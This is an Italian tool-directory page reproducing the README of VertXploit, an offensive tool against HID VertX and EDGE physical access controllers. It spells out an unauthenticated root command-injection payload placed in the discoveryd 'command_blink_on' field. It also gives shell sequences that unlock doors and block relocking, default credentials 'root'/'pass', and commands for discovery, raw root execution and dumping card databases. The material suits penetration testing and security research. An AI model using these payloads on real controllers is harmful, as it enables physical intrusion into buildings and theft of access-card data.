Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
VertXploit — Sfruttamento dei sistemi di controllo accessi HID VertX e EDGE | Kitploit
Strumenti/GitHubGitHub/coldfusion39/vertxploit
Mappatura della ReteAnalisi delle VulnerabilitàExploitRaccolta InformazioniPost-ExploitSicurezza Hardware e IoT
GitHubcoldfusion39/vertxploit

VertXploit

Sfruttamento dei sistemi di controllo accessi HID VertX e EDGE

Vedi Repository
25109 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

VertXploit

Exploit dei sistemi di controllo accessi HID VertX e EDGE

Riepilogo

VertXploit è uno strumento che può essere utilizzato per sfruttare i sistemi di controllo accessi HID VertX e EDGE.

Esiste una vulnerabilità nel servizio discoveryd, che non riesce a sanificare i dati dell'utente prima di eseguire chiamate di sistema. Ciò consente l'esecuzione arbitraria di codice sui sistemi di controllo accessi HID VertX e EDGE senza necessità di autenticazione. Vedere la sezione Iniezione di comandi per maggiori informazioni.

VertXploit può sbloccare o bloccare le porte collegate al sistema di controllo accessi, scaricare i database contenenti tutte le tessere di controllo accessi provisionate/memorizzate nella cache ed eseguire comandi arbitrari come root sul sistema VertX, se vulnerabile.

Se il firmware del controller VertX è stato aggiornato di recente, vertXploit tenterà di sbloccare o bloccare le porte tramite la console web utilizzando il nome utente e la password predefiniti o forniti dall'utente.

Requisiti

Eseguire pip install -r requirements.txt per installare i moduli Python richiesti.

  • python-nmap
  • requests
  • tabulate

Utilizzo di VertXploit

Eseguire ./vertXploit.py -h per visualizzare il menu di aiuto, oppure ./vertXploit.py ACTION -h per visualizzare l'aiuto per un'azione specifica.

Scoperta

Eseguire vertXploit con il solo argomento di azione discover per individuare tutti i sistemi di controllo accessi HID sulla rete broadcast locale. Se viene fornito un indirizzo IP con l'argomento opzionale --ip IP, vertXploit userà python-nmap per scansionare quell'intervallo di rete /24 alla ricerca di sistemi con la porta 4050 aperta. VertXploit invierà quindi un pacchetto UDP di discovery all'indirizzo IP identificato per determinare se quel sistema è un pannello di controllo accessi HID.

Esempio:

./vertXploit.py discover

./vertXploit.py discover --ip 10.1.10.5

Fingerprint

Una volta individuato un controller, eseguire vertXploit con l'argomento di azione fingerprint e l'indirizzo IP del controller di accesso per ottenere informazioni dettagliate sul pannello di controllo accessi.

Esempio:

./vertXploit.py fingerprint 10.1.10.5

Sblocco/Blocco

Per sbloccare o bloccare le porte collegate al pannello di controllo accessi, eseguire vertXploit con l'argomento di azione unlock o lock e l'indirizzo IP del controller. Se il controller non è vulnerabile all'exploit di iniezione di comandi, vertXploit tenterà di sbloccare o bloccare le porte tramite la console web. Questo metodo utilizza il nome utente predefinito 'root' e la password predefinita 'pass', oppure è possibile fornire i propri tramite gli argomenti --username USERNAME e --password PASSWORD.

Esempio:

./vertXploit.py unlock 10.1.10.5

./vertXploit.py unlock 10.1.10.5 --username test --password test

Raw

È possibile eseguire comandi Linux arbitrari sul sistema di controllo accessi utilizzando l'argomento di azione raw e l'indirizzo IP del controller. Il comando potrebbe non essere eseguito se non è installato sul controller (Python, Perl, Ruby, ecc.). Come semplice prova di concetto, il comando Linux nativo 'ping' sembra funzionare su tutti i modelli VertX e EDGE testati.

Esempio:

./vertXploit.py raw 10.1.10.5 'ping -c 5 10.1.10.39'

Download

Per scaricare i database delle tessere del controller, eseguire vertXploit con l'argomento di azione download e l'indirizzo IP del controller. Il controller deve essere vulnerabile alla vulnerabilità di iniezione di comandi e devi poter accedere all'interfaccia web del controller per scaricare i due database delle tessere. Per l'autenticazione web vengono utilizzati il nome utente predefinito 'root' e la password predefinita 'pass', oppure è possibile fornire i propri tramite gli argomenti --username USERNAME e --password PASSWORD.

Esempio:

./vertXploit.py download 10.1.10.5

./vertXploit.py download 10.1.10.5 --username test --password test

Dump

Dopo aver scaricato i database 'IdentDB' e 'AccessDB' dal controller, usare l'argomento di azione dump per eseguire il dump del contenuto dei database. Facoltativamente, è possibile specificare il percorso locale dei file dei database con l'argomento --path PATH.

Esempio:

./vertXploit.py dump

./vertXploit.py dump --path /root/VertX/DBs/

Iniezione di comandi

In genere, più controller di accesso VertX o EDGE vengono installati e collocati insieme. Il comando diagnostico command_blink_on può essere inviato a un controller specifico e fa sì che il LED fisico "Comm" del pannello lampeggi per l'identificazione visiva. Questo comando di solito termina con il numero di volte che il LED deve lampeggiare, nel caso seguente, 30 volte.

command_blink_on;044;00:11:22:33:44:55;30;

Sostituendo il numero di lampeggi con un comando Linux racchiuso tra backtick, il comando verrà eseguito sul controller di accesso come root.

command_blink_on;044;00:11:22:33:44:55;`ping -c 5 10.1.10.39`;

Per sbloccare e bloccare da remoto le porte collegate al sistema di controllo accessi, i comandi vengono scritti in /tmp/a. Questo viene fatto perché esiste un limite di lunghezza di 41 caratteri, senza contare i due backtick, che possono essere inviati al controller. Nota: viene usato echo invece di printf perché alcuni controller VertX più vecchi eseguono BusyBox < 1.0.1 che non include printf.

Le nuove righe generate dall'echo dei comandi nel file vengono poi rimosse eseguendo tr -d '\n' < /tmp/a > /tmp/b e le nuove righe intenzionali vengono inserite eseguendo tr '!' '\n' < /tmp/b > /tmp/a.

Lo script /tmp/a viene quindi eseguito ed entrambi i file vengono eliminati. Di seguito vengono mostrati i comandi che vengono scritti in /tmp/a quando i comandi di sblocco e blocco vengono inviati al controller VertX.

Sblocco

root@kitploit:~
# Set QUERY_STRING to the door unlock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=1"

# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi

# Remove executable permissions to prevent the door from locking
chmod -x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi

Blocco

root@kitploit:~
# Enable executable permissions
chmod +x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi

# Set QUERY_STRING to the door lock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=0"

# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi

Risorse

  • HeadlessZeke - Vulnerabilità di iniezione di comandi
  • ZDI - Divulgazione pubblica
  • Blog di TrendMicro - Blog sulla vulnerabilità di iniezione di comandi
  • Brad Antoniewicz - Parsing dei numeri delle tessere dalla cache VertX
  • Altri lavori - Comandi di discovery di VertX
Scarica lo strumento